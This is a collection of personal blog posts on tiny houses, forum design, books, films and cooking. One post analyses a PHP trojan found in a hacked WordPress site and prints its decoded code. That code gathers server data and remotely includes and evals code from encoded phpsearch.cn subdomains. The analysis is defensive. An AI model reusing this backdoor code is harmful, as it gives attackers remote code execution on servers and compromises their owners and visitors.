What would you really consider to be a home vs just a house?

Jay Shafer talks a little about how we’ve talked, legislated and fooled ourselves into a type of living that’s making most of us fundamentally unhappy and, in many cases, homeless and destitute instead of enjoying life.

Tim Guiles goes into more detail in exploring this what we need vs what we want problem… that shouldn’t really be a problem in the first place. He also goes into the experience of decreasing living space as construction begins only to increase dramatically as the windows are installed. Touching on Jay Shafer’s comments above, it’s the sense of bringing the outside environment indoors.

It was all fine and dandy until I decided to add a little spellcheck option to the input form. Not expecting that many people will use it since this is also meant to be mobile friendly so a lot of posts will likewise be txtspeak gibberish, but I thought it would be nice to have the feature anyway.

Let me preface this by saying that I have never been good at spelling or even an OK at spelling for that matter. I was even rubbish at spelling in Sinhalese when I was a little kid so this isn’t just an English thing. I don’t know if it’s some undiagnosed form of dyslexia or maybe I’m typing faster than the throughput of my cerebral plumbing or visa versa; either way, I just can’t spell.

So when I started writing the spellcheck functionality, I thought it was a simple, straightfoward affair. A dictionary source, a backend response generator and some client-side jQuery witchcraft to make this work without any added burden to the UI.

The burden, it turns out, was to my prefrontal cortex.

E.G. This was meant to be just a simpler version of the spellecheck plugin which comes with TinyMCE. I’m wasn’t using an IDE for the JS side of this, so I figured I’d be fine with just notepad.

What’s wrong with this?

(function() {
	tinymce.create('tinymce.plugins.SpelchekcPlugin', {
		inti : function(ed, url) {
			// Some stuff will happen here
		},
		createControl : function(n, cm) {
			return null;
		},
		getInfo : function() {
			return {
				longname: 'Spellcheck Plugin',
				author : 'eksith'
			};
		}
	});
});

Sometimes, I feel like a construction worker who’s always safe with equipment, always wears a helmet, always on time and always forgets his pants.

A little while ago, I was hosting a website which had been running an older version of WordPress. The site owners had long since let the installation lapse and, as always, there were vulnerabilities in the uploading privileges which were exploited. Since I had let the owners do whatever they pleased with their space and given them a lot of freedom, I didn’t pay as much attention as I should have. No other site on the server was compromised since they had sandboxed access.

Certain WordPress plugins require an inordinate amount of privileges, which is the one big reason to run a site with the minumum necessary plugins and to always keep them up to date. There is also no reason to keep stale files on the server or allow arbritary writing and uploading privileges when the bare minimum is acceptable.

The following is a file called 189715.php found on the /wp-uploads folder of this website and the same code was found in other areas with different number filenames. This was all jammed into one line, so I’ve expanded it here for clarity. Certain portions have been redacted :

<?php /**/eval(base64_decode('[BASE64 ENCODED STRING]')); ?>

<?
error_reporting(0);
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);
$z="/?" .
	base64_encode($a). "." .
	base64_encode($b) . "." .
	base64_encode($c) . "." .
	base64_encode($d) . "." .
	base64_encode($e) . "." .
	base64_encode($f) . "." .
	base64_encode($g) . "." .
	base64_encode($h) . ".e." .
	base64_encode($i) . "." .
	base64_encode($j);

$f=base64_decode("cGhwc2VhcmNoLmNu");

if (basename($c)==basename($i) && isset($_REQUEST["q"]) &&
	md5($_REQUEST["q"])=="cfe044f810cd8d8e6e5759d4005cf72f")
	$f=$_REQUEST["id"];
if((include(base64_decode("aHR0cDovL2FkczMu").$f.$z)));
else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))
	eval($c);
else{
		$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
		curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
		$o=curl_exec($cu);
		curl_close($cu);
		eval($o);
};
die(); ?>

Variable $z was basically a querystring intended to send all of the relevant server and environment data gathered in the previously defined variables.

String “cGhwc2VhcmNoLmNu” assigned to the $f variable turned out to be “phpsearch.cn”, this particular spammer’s domain. String “aHR0cDovL2FkczMu” turned out to be subdomain “http://ads3.” meaning this was a domain intended to inject spam and I’m sure the domain itself was expendable. String “aHR0cDovLzcxLg==” was pointing to subdomain “http://71.” while “aHR0cDovLzcu” was subdomain “http://7.”.

That include block was meant to try and download another PHP file remotely which it would then try to execute locally with the “eval()” function.

If the remote include failed, it would try curl to get the file and execute the file instead.

The [BASE64 ENCODED STRING] was actually another encoded function :

if(function_exists('ob_start') && !isset($GLOBALS['mfsn'])){
	$GLOBALS['mfsn']='[REDACTED ROOT]/wp-content/upgrade/openid/openid/Auth/OpenID/style.css.php';
	if(file_exists($GLOBALS['mfsn'])){
			include_once($GLOBALS['mfsn']);
			if(function_exists('gml') && function_exists('dgobh'))
			{ob_start('dgobh');}
		}
}

The [REDACTED ROOT] is of course where the WP installation directory on this server and in this case, the compromised plugin was OpenID.

The Auth/OpenID directory was full of junk that was surrepticiously uploaded as well. Also, the content of the style.css.php was another massive block of base64 encoded code (which I was unable to decode) and “mfsn” variable held the location of another file that was meant to be dynamically included at runtime. I was unable to find what the “gml” and “dgobh” functions were, but I can guess that it included everything from more injection code to spam to even drive-by downloads.

After running a scan on this server, this file and those like it turned out to be called the Small-AH trojan.

PHP Trojans would often employ base64 encoding and even splitting up the encoded string into multiple sections before decoding and running eval(). This would make it harder to spot and even harder to figure out what the code does exactly, especially in a big file, with just a cursory glance.

Are you searching for a path which focuses on Earth in the Cosmos, rather than some imaginary beyond? Are you more concerned with saving the planet than saving your eternal soul?
Do you hunger for a spirituality that respects individual choice rather than pushing prejudice down people's throats, and that values reason rather than fanaticism?
Do you find it impossible to believe in supernatural beings, and difficult to conceive of anything more worthy of the deepest respect than the beauty of Nature or the power and mystery of the Universe?
Do you feel a deep sense of peace and belonging and wonder in the midst of Nature?
If you answered yes to these questions, then you will feel at home in the World Pantheist Movement.

Filed under: Philosophy, Politics, Site of the Week, Society Tagged: Faith, Pantheism, Religion, Spirituality, Theism ]]> http://eksith.wordpress.com/2012/01/24/site-of-the-week-pantheism-net/feed/ 2 eksith pantheism http://eksith.wordpress.com/2012/01/23/whole-earth-catalog-a-roadmap-to-humanity/ http://eksith.wordpress.com/2012/01/23/whole-earth-catalog-a-roadmap-to-humanity/#comments Mon, 23 Jan 2012 21:25:43 +0000 eksith http://eksith.wordpress.com/?p=2465 ]]> I found this volume at a tag sale some years ago and thought it was just a curiosity at the time. I bought it for a few dollars and took it home only to forget about it until recently (moving does that to you sometimes).

After getting another chance to go over everything I’ve been missing, I have to say… This is by far one of the best resources on simple living, sustainability and even our own peculiarities (I.E. there is no censorship). The Whole Earth Catalog should be in everyone’s library. If anything it can really open some eyes that are sewn shut with self-centeredness these days.

It’s one of the more revolutionary publications that will sorely be missed today.

Subtitling this "Access to Tools" has to be one of the biggest understatements in publishing. It's oh-so-much-more

The catalog is a year older than me! And it really does cover the Whole Earth!

Published October 1981

The map has changed a bit since this edition, but the topics it covers – vast in breadth and depth — goes from “Understanding Whole Systems” which include Laws of form, Space, Eco-ethics, Evolution, Natural history, Plants as well as “Community” which includes Recycling, Rural emergency, Home nursing Women’s health, Childbirth (in graphic detail), Sex (also in “detail” of sorts), Consumer reports and everything in-between. It’s a who’s who and what’s what of basic and enhanced living.

The list of topics covered is copious as it is astoundingly fascinating.

While browsing through this time, I came across an article on Sri Lanka! Specifically the concept of “Shramadana” which is a contraction of Sarvodaya Shamadana Movement in Sri Lanka. The article goes into a specific example at work, however considering this was published before the civil war, I don’t know how many of these people are still around. Hopefully many. Their example will be one of the few things that will keep the country going.

"It does not require oil, gas coal or nukes; it empowers people not machines; it is shramadana. Literally meaning the giving (dana) of human energy (shrama)"

The concept can best be summarized as using human equity toward completing projects for the community. Anyone can grab a tool and participate provided you’re of able body and sound mind. It doesn’t matter what your social status is; a banker and farmer are equals in terms of what they can contribute in human energy.

Habitat for Humanity is probably the closest Western counterpart

What really got me interested are the aspects of environmental consciousness that and examples of “better” and “wiser” living that we could really use right now. It really drives home how much this was ahead of its time as only now are we starting to understand the consequences of our actions.

"The Man Who Planted Trees and Grew Happiness" - Brilliant!

Then there are the creative aspects of what we can actually do about this. The sustainability pointers in this are, I think, invaluable today more than ever.

Building a house using telephone poles as raw material. How creative is that?

The book is full of examples like these for simple, sustainable living as well as creative solutions to real world problems that are oddly still applicable by and large today.

Then there are also aspects of humanity that some of us still wouldn’t dare discuss openly or honestly. It’s amazing testament to how much popular publications censor themselves on real issues while advancing pointless topics. Talk about being hypocritical prudes.

I had to cover the naughty bits. This being a family-friendly blog and all ;)

Did I mention there’s no censorship in this book? Can you imagine a popular publication making mention of something like this today?

And that, boys and girls, is why I keep thinking I was born a few decades too late.

This morning, I put together a quick HTML mockup of the original front page sketch of the discussion forum I talked about a few days ago. All in all, I’m pretty satisfied at how close it came to the Photoshop version and, aside from a few rough edges, I think it accomplishes pretty much everything I want in a “Home” page.

Now I just need to put together the “Tag” page where users can browse all posts under that tag (pretty similar to the “Author” page where users can see all posts under a particular user) and something like a very simple dashboard for the “My Account” page where users can keep track of their subscriptions.

I think it’s best to keep everything organized via feeds for this. If all subscriptions are done in RSS, I think it would be easier for mobile users as well.

I’ll make any changes to the HTML layout on the mockup and start the backend work soon.

Readin'... Writin' and Radiation! (This poster exaggerates things a bit)

The school is terrorized by a gang composed of punks, lowlifes and cretins who call themselves… the “Cretins” (makes perfect sense). Meanwhile the rest of the school experiences the bizzare after-effects of the radiation by causing horrific mutations and a “thing” that comes out of a girl’s stomach (it’s not a baby).

There isn’t much of a plot to speak of, but these are not the kinds of movies you watch for depth in story. You watch it to watch weird stuff and though this movie delivers in spades, it still doesn’t have same charm of something from John Waters. Don’t get me wrong, it’s still weird, but it’s a bit bereft of the charm, if that’s the operative word, of a John Waters film. Still definitely worth a weekend watch.

Watch the trailer

Warning: The Earth-shattering trailer is heavily narrated to let us know that this movie is about “The Class of Nuke ‘em High” and may contain scenes not appropriate for everyone. Also, it’s 20 kinds of awesome!

Wikipedia protest

What you may not know is that the blackout is actually courtesy of a script that is loaded after you actually visit the page so you may see the page you’re looking at for a split second before the blackout. You could, for course, start hitting the ”Stop” button on your browser like crazy the second you arrive on the page right before the blackout, or more easily, if you’re on Firefox, you can simply view the page by disabling scripting.

Go into Firefox (on the top of the browser) > Content > and unckeck Enable Javascript

I’m completely in support of Wikipedia making a stand against SOPA and PIPA acts, but sometimes you really need to lookup something. So after you’ve contacted your congressman or woman, you can go back to browsing normally.

The bigger your world is, the smaller you feel

Are you part of a community of millions? Then, you know how a single plankton feels. It’s nice to think that your comments will be seen by millions of people, but the reality is that the larger your community, the less of a change there is that any significant number of people will see anything you post unless a moderator or admin sticks it to the front page. Much like how the Freshly Pressed front page works on WordPress.com.

What about the good old days of the internet before spam and porn (the latter is probably debatable for some) when people just posted to discuss topics of interest and share knowledge?

I thought about what it would take to really make a discussion forum usable, compatible with a large community and still feel small and cozy (this might be owing to my liking of small homes). The wheels started turning after I read how a WordPress blog can work nicely as a DIY Case Management System. It’s a brilliant, yet simple, solution to a seemingly complex problem.

First, let’s talk about what we can leave out of a forum.

Categories are dead; Tags are the future

Let’s face it, we don’t just stick to one or two topics of interest these days so it makes sense to be able to browse many at the same time. WordPress already does this and by moving away from categories and into tags, users can have the option of adding multiple tags to their posting options rather than be tied down to one category, theyreby circumventing arbritary limitations on appropriateness (“Your post doesn’t belong here!”). If a topic belongs to none of the existing tags, add your own!

Tags free the user to focus more on what they’re writing rather than where it belongs so the categorization can come from the body of the topic itself. Tags, after all, are a cross-sample of the content.

Groups are not Roles

And promoted or otherwise ostensible roles are silly in most online communities.

This might seem counterintuitive, but think about it: A group may have a set of actions they can perform which means certain groups have certain roles, but groups are not roles themselves. Groups within the same community may also be a source of contention as some people who have been around longer and accumulated more experience may leverage said credit to grow weeds of narcissism. So groups can be a bad thing if that leads to an unwarranted sense self-importance.

Ranks are usually only appropriate when there needs to be a clear reason as to why an admin or moderator needs to show that they’re an admin or mod other than to satiate egos. Breaking down the high walls between staff or authority and ordinary users is a key step in making a community feel like one.

Quicker & Easier to use = More usage

Many moons ago, Joel Spolsky wrote a wonderful treatise on Building Online Communities and while the post is old, the tennets still hold true.

One of the key issues he brings up is the number of steps required in order to post and navigate on a conventional forum. On many of the online communities, the registration, login, password reset and the actual content itself are on disparate locations and most require registration driving away potential contributors. So the trick is to combine most of it into one location without making the place look crowded and have the least number of steps necessary to start posting.

While Joel makes a point on registrations being unnecessary for the most part, if the process is made easy enough, and if it introduces features such as being able to subscribe to many tags at once, registration is a handy way of managing the community. There is, of course, little reason to prevent anonymous posting altogether since every community needs active moderation these days anyway and the majority of mischief can be handled via filters.

Putting it all together

Early this morning, I set about sketching up what would be my ideal discussion forum.

I elected to recycle the HTML5 version of my Simply theme rather than writing something from scratch in order to save time and not reinvent the wheel (and because I’m lazy).

The front page should have all the basics including the latest topics, a tag cloud, a form to add a new topic, a login and registration form. Naturally piling all this onto one page and showing them all at once is confusing, so I elected to use jQuery UI Tabs to organize things. Other than an individual topic view page and a “Home” or “My Account” page, which will serve to aggregate subscribe tags and manage the user profile and subscriptions, 90% of what a forum does can be described in these sketches.

The goal is to be more functional than Twitter while having the same ease of use and less bloated and restrictive than the forums at SomethingAwful.com while having the same capacity to accomodate a large userbase and varied interests.

The front page:

The front page is the "Topics" tab which shows the most recently added topics, the tag cloud and some quick stats. The topic view can look similar to this, possibly with larger text, and without the tag cloud or stats on the side.

Add new topic

The add topic page has a brief description on posting followed by the form. No categories here, only tags.

Login form

The login form shows only what's needed. Both the login and reset forms are together, so there's no jumping through hoops to reset.

Register form

The registration form also shows just the basics. Any more "personal options" would only take away from the community experience and discussion.

And that does it for what I want in a forum. There’s ample room for improvement for sure, but I think this “less is more” approach can help people bring the focus back to the discussion and not about the software itself. Also, the less there is to show, the less there is to fail.

Also note, there are no membership lists. Members will come into the spotlight as they’re posted and as long as they’re active in their tags of choice, they will be noticed and users can browse as many topics that are recently posted or as many topics on each tag(s) they want. No need for something like “Freshly Pressed” or “Readomattic” to get noticed no matter how many posts are made every minute.

I may actually turn this mockup into a working project and add features like author subscriptions, like blog subscriptions we have here, and write it up possibly ASP.Net and MVC when I have the time, but for now, the images will have to do.

I’m totally building this cabin as soon as I can buy some new land!

Simple Living Small Space Living Freedom

Kevin goes into the details of not just this cabin, but the basics of construction including insulation, framing and foundations, which are applicable to most homes. He also has a YouTube page where he shows step-by-step instructions and check out his Facebook page for updates.

So far he has made 15 videos as of this post on building a simple cabin and there’s no fancy production or showy stuff. Just a guy who knows what he’s doing and showing the rest of us.

Update January 19th

I had linked a whole bunch of his videos (15 in fact) on this page, but it was really starting to slow down my blog. I’ve left a few of the videos here as a small cross sample so please visit and subscribe to his YouTube page instead.

Tiny house 3

Tiny house 4

Tiny house 5

Tiny house 6

Tiny house 7

Ordinarily, even in those times, young girls weren’t sent alone anywhere let alone in the wee hours of the morning, but this was a simpler time and she was in a community where everyone practically knew everyone else. So there was little concern when she was sent back home, just down the street, to bring something back. It was a blanket, she believes.

She was out of the temple gates and walking past a street light and a willow tree that she had passed countless times before, when she saw between the willow and the parapet wall of the neighboring house, a woman standing barefoot on the grass.  It wasn’t unusual for people to be without footwear those days, especially in Sri Lanka, even at night.

The woman looked to be in her 30s or 40s wearing a beige or off-white dress with an unremarkable yet very tired looking face which she didn’t recognize.

Odd, she thought to herself, as she imagined the whole village was either asleep in their homes or at the temple. But as not to waste time, she elected not to dwell on woman’s motives and hurried home.

On her way back, she passed the same willow and street light and found the woman had gone. Possibly to bed.

Thinking nothing of it, she walked back through the gates of the temple and went up the stairs to the hall and back to her spot with her parents and continued listening.  She turned around at one point and found the tired looking woman among the attendees sitting a few yards behind. My mother could have sworn she didn’t see anyone else enter the hall from the opposite exit or come up the stairs behind her.

The chanting continued.

In front of the strange woman was a toddler who was writhing about as toddlers often do and his mother was right next to him already fast asleep. The strange woman drew closer to the toddler. At first she only looked at him and then, quietly, lifted him and placed him on her lap. Still, my mother thought nothing of this.

But this was all it seemed everyone else needed to take note of the toddler and the strange woman. The chanting stopped and a soft murmur went about the hall and my mother was confused. In the company of so many people in a close community, it wasn’t unusual for strangers to pick up other people’s children back then either.

The toddler’s mother had now woken up, looked about, then at her son. At this point all color had left the boy’s mother’s face. My mother asked her parents what was happening and all they had was a puzzled look. “Can’t you see? There’s nothing below!”

One of the priests who was participating in the chant called over a gentleman among the attendees. He told him, “there’s someone here who doesn’t belong” and gave him a small container of holy water. The gentleman proceeded to sprinkle holy water all across the hall starting where the strange woman holding the toddler was and then from exit to exit.

My mom looked back at where the strange woman was seated after following the man sprinkling holy water only to discover the woman had gone. There are only two exits to the hall and she didn’t see her walk out of either one. The toddler was in the same position.

Except now he appeared to be in mid-air.

The boy’s mother grabbed the child, and he began writhing as he did before the incident. She quickly hurried near the priests with her child and the chanting resumed.

My mother asked her parents, “what happened to the woman?” Her parents asked…

“What woman?”

—-

This is the story of an “entity” that my mom once encountered when she was a girl living in central Sri Lanka. The family since moved to Colombo, yet the memories of the old village and this encounter in particular were quite strong.

No one else saw anyone entering the hall, except for my mother, or anything strange until the toddler inexplicably started rising above the floor and then began hovering in a prone position a foot above the ground. Apparently the one priest who gave the holy water to one of the attendees, sensed there was an entity present in need of cleansing, but was not a danger anyone.

As for why no one else saw the entity and why only one other person, the priest, sensed that there was even something else there with them? She’s still at a bit of a loss.

According to my mother, she still didn’t understand what happened until after the session and after she was listening in to everyone talk about the event. This entity, which was evidently not malevolent, had followed her to the temple and entered the hall during a part of the chant that specifically gave merits to those who have passed away and in need of guidance.

None of the people my mother had spoken to afterwards recognized the woman based on her description, but everyone agreed that she was probably a mother.

It’s not in my nature to believe stories like this, but I’ve always found them intriguing enough to share. After all, who doesn’t like to hear good a ghost story on the weekend.

I was prompted to share this after reading Kelly’s post on perceptions.

Dee Williams lives in a solar and propane powered house in a friend’s back yard and pays no rent or mortgage. Now that’s what I call living! For someone who’s worked as an investigator for the Washington State Department of Ecology, she has really toned down on excess by focusing on only what she really needs. Puts a whole new perspective on living large.

The 89 Square Foot house tour

This man decided to give up living in an enormous house that was actually taking up more money to just heat and instead built his own little cabin on wheels. The trailer build gets around local building codes, as he points out, contain provisions put in place by the housing and insurance industry lobby.

Forgeahead

Is a small company by Jenine Alexander and Amy Hutto that builds tiny houses on trailers. It originally started with Jenine wanting to build a tiny house of her own, which she did on a trailer. You may notice a lot of tiny houses are on trailers for mobility and to get around those pesky redundant codes.

This is Jenine’s house:

A Forgeahead product on display. Turns out, people still react negatively to this even though they’re not harming anyone:

More on the same tiny house. What’s amazing is that each one is absolutely unique (depending on where the materials and supplies came from):

Living small

Larger houses contribute more to greenhouse emissions and polution. This is a short video shows how building small can be more energy efficient and still functional

This was obviously my first time seeing a cooking show and I never looked at rice the same way ever again though I’ve had it all my life. These was a sorcerer’s seeds that needed a special magical white cauldron that you had to plug-in… and walk away, giving you more time to tame dragons and tigers with the biggest knife in the kitchen.

He ended this enthralling magic with: “If Yan can cook, so can you!” I don’t remember what dishes he prepared that day, but I do remember that I wanted to see more being made.

Then there was an older woman called Julia (on a different channel perhaps) whose words I didn’t understand, but her voice, which reminded me of a melodica, conveyed a sense of assurance that at least she understood. Had no idea what she was making and it looked questionable, but I wanted to try it and the dish after that, if only because of the steam coming out of it gave a sense of “it may taste better than it looks”.

I then came across a chef whose name I don’t remember, but he was a tall man with neat hair and long sleeves (did he have a bow tie?) and the most striking thing about his kitchen… The stove had a glass top! This was the first time I’ve seen such witchcraft as I’ve been accustomed to the gas stove and wood-burning variety. But glass? Glass! Just when I thought this to be the biggest surprise of all, his show ended with bloopers. People making mistakes on TV? This, I didn’t think was possible and yet it was incredibly endearing.

And so began my fascination with cooking shows. An unusual fascination to say the least as, admittedly, I have one of the worst diets imaginable. Up until a few years ago, it consisted of 9 — yes, 9 — cups of coffee a day, no foods containing proteins or vitamins to speak of, some soda and “Ensure”. I’m still somehow alive. At least, unlike my programmer colleagues, it didn’t include a hefty dose of nicotine and tar.

I think what really drew me in was the theatrics and stories than the food itself. The food was just the tasty crust on a lovely crème brûlée.

This post was inspired by Kelly’s one About the Rice Cooker.

Update

Thanks to Kelly, the tall chef with the bow tie was identified as Graham Kerr.  Always loved listening to him.

If only these OSes had the same creativity and care when it came to the internal plumbing and security, Microsoft would have left the greatest legacy in the computing world.

Richard Nakka's Experimental Rocketry Web Site

What first caught my attention were designs for a series of rocket engines, which cover everything on the dynamics at work. This really is a go-to site for anyone interested in designing, building and testing rockets.